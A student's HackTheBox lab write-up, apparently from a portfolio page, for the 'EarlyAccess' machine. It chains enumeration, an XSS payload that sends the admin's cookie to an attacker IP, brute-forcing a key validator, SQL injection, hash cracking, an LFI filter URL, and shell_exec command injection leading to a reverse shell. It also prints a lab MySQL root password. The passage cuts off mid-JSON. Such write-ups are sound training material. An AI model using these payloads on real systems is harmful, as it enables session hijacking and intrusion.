class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", 